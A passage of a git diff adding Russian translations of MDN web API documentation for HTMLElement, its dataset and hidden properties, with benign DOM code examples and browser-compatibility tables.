+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/907422">IE bug 907422</a>: IE11 does not allow disabling resize handles for images/inputs</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.isContentEditable")}}</li>
+ <li>The <a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a> global attribute.</li>
+ <li><a href="https://medium.com/medium-eng/why-contenteditable-is-terrible-122d8a40e480">Why ContentEditable is Terrible, Or: How the Medium Editor Works</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/dataset/index.html b/files/ru/web/api/htmlelement/dataset/index.html
new file mode 100644
index 0000000000..328b265afa
--- /dev/null
+++ b/files/ru/web/api/htmlelement/dataset/index.html
@@ -0,0 +1,114 @@
+---
+title: HTMLElement.dataset
+slug: Web/API/HTMLElement/dataset
+translation_of: Web/API/HTMLOrForeignElement/dataset
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Свойство <code><strong>HTMLElement.dataset</strong></code> предоставляет доступ как для чтения, так и для изменения всех пользовательских дата-атрибутов <a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">custom data attributes</a> (<code>data-*</code>) , установленных у элемента. Это <a href="/en/DOM/DOMStringMap" title="en/DOM/DOMStringMap">map of DOMString</a>, одна запись для каждого пользовательского атрибута данных. Обратите внимание, свойство <code><strong>dataset</strong></code> доступно только для чтения. Для записи должны использоваться  его "свойства", которые представлены data-атрибутами. Также обратите внимание, что HTML <code><strong>data-</strong></code><em>атрибут</em> и соответствующий ему DOM-<code>dataset.</code><em>property</em> не имеют одно и то же имя, но они всегда похожи:</p>
+
+<ul>
+ <li>Имя пользовательского дата атрибута в HTML начинается с "<code>data-</code>". Оно может состоять из букв, цифр и символов: дефис-минус (<code>-</code>, <code>U+002D</code>), точка (<code>.</code>), двоеточие (<code>:</code>), подчеркивание (<code>_</code>). Имя НЕ МОЖЕТ включать в себя заглавные буквы.</li>
+ <li>Имя пользовательского дата-атрибута в Javascript — это имя того же атрибута в HTML, но с использованием нотации camelCase и без дефисов, точек и т.д.<br>
+  <br>
+  В дополнение к приведенной ниже информации вы найдете руководство по использованию HTML data-атрибутов в нашей статье <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Использование data-атрибутов</a>.</li>
+</ul>
+
+<h3 id="Преобразование_имён">Преобразование имён</h3>
+
+<p><code>dash-style</code> в <code>camelCase</code>: имя пользовательского дата-атрибута преобразуется в ключ для {{ domxref("DOMStringMap") }} по следующим правилам:</p>
+
+<ul>
+ <li>удаляется префикс <code>data-</code> (вместе с дефисом);</li>
+ <li>дефисы (<code>U+002D</code>) со следующими за ними <span style="line-height: 1.5;">ASCII-символами </span><code>a</code><span style="line-height: 1.5;">-</span><code>z</code><span style="line-height: 1.5;"> в нижнем регистре: черта удаляется, а символ преобразуется в верхний регистр;</span></li>
+ <li>остальные символы (включая дефисы) остаются без изменений.</li>
+</ul>
+
+<p><code>camelCase</code> в <code>dash-style</code>: обратное преобразование ключа в имя атрибута производится по следующим правилам:</p>
+
+<ul>
+ <li>Ограничение: сразу после дефиса не может быть ASCII-символа <code>a</code>-<code>z</code> в нижнем регистре (до преобразования);</li>
+ <li>добавляется префикс <code>data-</code>;</li>
+ <li>все ASCII-символы <code>A</code>-<code>Z</code> в верхнем регистре заменяются на дефис с символом в нижнем регистре;</li>
+ <li>остальные символы остаются без изменений.</li>
+</ul>
+
+<p>Ограничение в правилах гарантирует, что эти два преобразования являются обратными друг другу.</p>
+
+<p>Например, атрибуту <code>data-abc-def</code> соответствует ключ <code>abcDef</code>.</p>
+
+<h3 id="Доступ_к_значениям">Доступ к значениям</h3>
+
+<ul>
+ <li>Атрибуты можно устанавливать и считывать по имени в camelCase (ключ) как свойство объекта dataset, например <em>element.</em>dataset.<em>keyname</em></li>
+ <li>Атрибуты также можно устанавливать и считывать с использованием доступа к свойствам объекта через квадратные скобки, например <em>element.</em>dataset[<em>keyname</em>]</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in">Оператор in</a> может быть использован для проверки существования атрибута.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<ul>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>.<em>camelCasedName</em>;</li>
+ <li><em>element.</em><strong>dataset</strong>.<em>camelCasedName</em> = <em>string</em>;</li>
+ <br>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>];</li>
+ <li><em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>] = <em>string</em>;</li>
+ <br>
+ <li><em>Custom data attributes can also be set directly on HTML elements, but attribute names must use the data- syntax above. </em></li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">&lt;div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth&gt;John Doe&lt;/div&gt;
+
+let el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.HTMLElement.dataset")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>The HTML <a href="/en-US/docs/Web/HTML/Global_attributes/data-*"><strong>data-*</strong></a> class of global attributes.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/hidden/index.html b/files/ru/web/api/htmlelement/hidden/index.html
new file mode 100644
index 0000000000..854f08e186
--- /dev/null
+++ b/files/ru/web/api/htmlelement/hidden/index.html
@@ -0,0 +1,192 @@
+---
+title: HTMLElement.hidden
+slug: Web/API/HTMLElement/hidden
+translation_of: Web/API/HTMLElement/hidden
+---
+<div>
+<div>HTMLElement <span class="seoSummary">Свойство <strong><code>hidden</code></strong> является {{jsxref("Boolean")}} типом данных , который принимает значение true , если содержимое спрятано, в противном случае значение будет false. Это свойство соверешенно отличается от использования CSS свойства {{cssxref("display")}} , чтобы контролировать отображение элемента.Свойство </span><code>hidden</code> <span class="seoSummary">применимо ко всем режимам  представления и не должно использоваться для скрытия содержимого предназначенного для прямого доступа к пользователю. Соответствующие варианты использования включают:</span></div>
+</div>
+
+<ul>
+ <li> Содержимое, которое не является особенно важным, но может быть необходимо позже</li>
+ <li>Содержимое, которое было раньше необходимо, но больше нет в нем необходимости</li>
+ <li>Содержимое, которое повторно используется другими частями страницы по шаблону</li>
+ <li>Создание заставного холста в качестве буфера рисования</li>
+</ul>
+
+<p>Неуместные варианты использования включают:</p>
+
+<ul>
+ <li>Скрытие панелей в диалоговом окне с вкладками</li>
+ <li>Скрытие содержимого в одной презентации, предполагая, что оно будет видимым в других</li>
+</ul>
+
+<div class="note">
+<p>Элементы, которые не hidden не должны ссылаться на элементы которые hidden.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>isHidden</em> = <em>HTMLElement</em>.hidden;
+
+
+<em>HTMLElement</em>.hidden = true | false;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Если элемент спрятан, то значение <em><strong>true</strong></em>, в противном случае <em><strong>false</strong></em>;  </p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Пример, где скрытий блок используется для хранения "thank you" сообщения, которое отображается после того, как пользователь соглашается с необычным запросом.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.getElementById("okButton")
+        .addEventListener("click", function() {
+  document.getElementById("welcome").hidden = true;
+  document.getElementById("awesome").hidden = false;
+}, false);</pre>
+
+<p>Этот код устанавливает обработчика для кнопки "OK", которая скрывает панель приветсвия и делает The follow-up panel панель с необычным именем "awesome" - видимой в этом месте.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML-код для двух boxes показанных здесь.</p>
+
+<h4 id="Welcome_panel">Welcome panel</h4>
+
+<pre class="brush: html">&lt;div id="welcome" class="panel"&gt;
+  &lt;h1&gt;Welcome to Foobar.com!&lt;/h1&gt;
+  &lt;p&gt;By clicking "OK" you agree to be awesome every day!&lt;/p&gt;
+  &lt;button class="button" id="okButton"&gt;OK&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<p>Этот  HTML создает панель, которая приветствует пользователей на сайте и рассказывает им о том с чем они соглашаются нажимая на кнопку OK.</p>
+
+<h4 id="The_follow-up_panel">The follow-up panel</h4>
+
+<p>После того, как пользователь нажимает OK в welcome panel, JavaScript код меняет две панели изменяя их значения hidden. Cледующая The follow-up panel представлена в этом HMTL:</p>
+
+<pre class="brush: html">&lt;div id="awesome" class="panel" hidden&gt;
+  &lt;h1&gt;Thanks!&lt;/h1&gt;
+  &lt;p&gt;Thank you &lt;strong&gt;so&lt;/strong&gt; much for agreeing to be
+  awesome today! Now get out there and do awesome things
+  awesomely to make the world more awesome!&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Стилизованное содержимое использует CSS предсталвенное внизу.</p>
+
+<pre class="brush: css">.panel {
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+  border: 1px solid #22d;
+  padding: 12px;
+  width: 500px;
+  text-align: center;
+}
+
+.button {
+  font: 22px "Open Sans", Helvetica, Arial, sans-serif;
+  padding: 5px 36px;
+}
+
+h1 {
+  margin-top: 0;
+  font-size: 175%;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example', 560, 200) }}</p>
+
+<h2 id="Технические_требования">Технические требования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#dom-hidden", "HTMLElement.hidden")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.hidden")}}</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/index.html b/files/ru/web/api/htmlelement/index.html
new file mode 100644
index 0000000000..7953983323
--- /dev/null
+++ b/files/ru/web/api/htmlelement/index.html
@@ -0,0 +1,402 @@
+---
+title: HTMLElement
+slug: Web/API/HTMLElement
+translation_of: Web/API/HTMLElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<div></div>
+
+<p>Интерфейс <strong><code>HTMLElement</code></strong> представляет собой любой элемент <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a>. Некоторые элементы напрямую используют этот интерфейс, другие - через промежуточный интерфейс.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("Element")}}, и реализует их через {{domxref("GlobalEventHandlers")}} и {{domxref("TouchEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.accessKey")}} -- ключ доступа</dt>
+ <dd>Эта строковая переменная {{domxref("DOMString")}} отображает ключ доступа, сопоставленный элементу <em>{{domxref("Element")}}</em>.</dd>
+ <dt>{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, содержащий назначенный ключ доступа элемента.</dd>
+ <dt>{{domxref("HTMLElement.contentEditable")}}</dt>
+ <dd>Является {{domxref ("DOMString")}}, где значение" true "означает, что элемент доступен для редактирования, а значение" false " означает, что это не так.</dd>
+ <dt>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref ("Boolean")}}, который указывает, можно ли редактировать содержимое элемента.</dd>
+ <dt>{{domxref("HTMLElement.contextMenu")}}</dt>
+ <dd>Является {{domxref ("HTMLMenuElement")}}, представляющим контекстное меню, связанное с элементом. Может быть null</dd>
+ <dt>{{domxref("HTMLElement.dataset")}} {{readonlyInline}} -- набор данных</dt>
+ <dd>Возвращает {{domxref("domstringmap")}}, который позволяет получить доступ к чтению и записи атрибутов пользовательских данных элемента (data-*) .</dd>
+ <dt>{{domxref("HTMLElement.dir")}}</dt>
+ <dd>Is a {{domxref("DOMString")}}, reflecting the <code>dir</code> global attribute, representing the directionality of the element. Possible values are <code>"ltr"</code>, <code>"rtl"</code>, and <code>"auto"</code>.</dd>
+ <dt>{{domxref("HTMLElement.draggable")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element can be dragged.</dd>
+ <dt>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}} reflecting the <code>dropzone</code> global attribute and describing the behavior of the element regarding a drop operation.</dd>
+ <dt>{{domxref("HTMLElement.hidden")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element is hidden or not.</dd>
+ <dt>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</dt>
+ <dd>Returns an {{jsxref("Object")}}…</dd>
+ <dt>{{domxref("HTMLElement.lang")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the language of an element's attributes, text, and element contents.</dd>
+ <dt>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code> containing the height of an element, relative to the layout.</dd>
+ <dt>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code>, the distance from this element's left border to its <code>offsetParent</code>'s left border.</dd>
+ <dt>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("Element")}} that is the element from which all offset calculations are currently computed.</dd>
+ <dt>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code>, the distance from this element's top border to its <code>offsetParent</code>'s top border.</dd>
+ <dt>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code> containing the width of an element, relative to the layout.</dd>
+ <dt>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("HTMLPropertiesCollection")}}…</dd>
+ <dt>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} that controls <a href="/en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms" title="en/Controlling_spell_checking_in_HTML_forms">spell-checking</a>. It is present on all HTML elements, though it hasn't an effect on all of them.</dd>
+ <dt>{{domxref("HTMLElement.style")}}</dt>
+ <dd>Is {{domxref("CSSStyleDeclaration")}}, an object representing the declarations of an element's style attributes.</dd>
+ <dt>{{domxref("HTMLElement.tabIndex")}}</dt>
+ <dd>Is a <code>long</code> representing the position of the element in the tabbing order.</dd>
+ <dt>{{domxref("HTMLElement.title")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the text that appears in a popup box when mouse is over the element.</dd>
+ <dt>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}}</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<p>Most events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("GlobalEventHandlers")}} or {{domxref("TouchEventHandlers")}}, implemented by <code>HTMLElement</code>. A few more are specific to <code>HTMLElement</code>.</p>
+
+<dl>
+ <dt>{{ domxref("HTMLElement.oncopy") }} {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>copy</code> event ({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.oncut") }} {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>cut</code> event ({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>paste</code> event ({{bug("280959")}}).</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchstart")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchend")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchmove")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchenter")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchleave")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchcancel")}} event.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Element")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.blur()")}}</dt>
+ <dd>Removes keyboard focus from the currently focused element.</dd>
+ <dt>{{domxref("HTMLElement.click()")}}</dt>
+ <dd>Sends a mouse click event to the element.</dd>
+ <dt>{{domxref("HTMLElement.focus()")}}</dt>
+ <dd>Makes the element the current keyboard focus.</dd>
+ <dt>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</dt>
+ <dd>Makes the spell checker runs on the element.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the following properties: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, and <code>offsetHeight</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Added the following properties: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, and <code>itemValue</code>.<br>
+    Added the following method: <code>forceSpellcheck()</code>.<br>
+    Moved the <code>onXYZ</code> attributes to the {{domxref("GlobalEventHandlers")}} interface and added an inheritance from it.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Added the following properties: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, and all the <code>onXYZ</code> properties.<br>
+    Moved the <code>id</code> and <code>className</code> properties to the {{domxref("Element")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName('DOM2 HTML')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>17.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.10</a>)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+   <td>{{CompatGeckoDesktop("8.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}{{WebkitBug(72715)}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.24</a>)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.contentEditable", "contentEditable")}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5.5</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.spellcheck", "spellcheck")}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.style", "style")}}</td>
+   <td>{{CompatVersionUnknown}} (returns a {{domxref("CSS2Properties")}}, rather than a {{domxref("CSSStyleDeclaration")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>8.0</td>
+   <td>11</td>
+   <td>11.10</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.draggable", "draggable")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dropzone", "dropzone")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, {{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
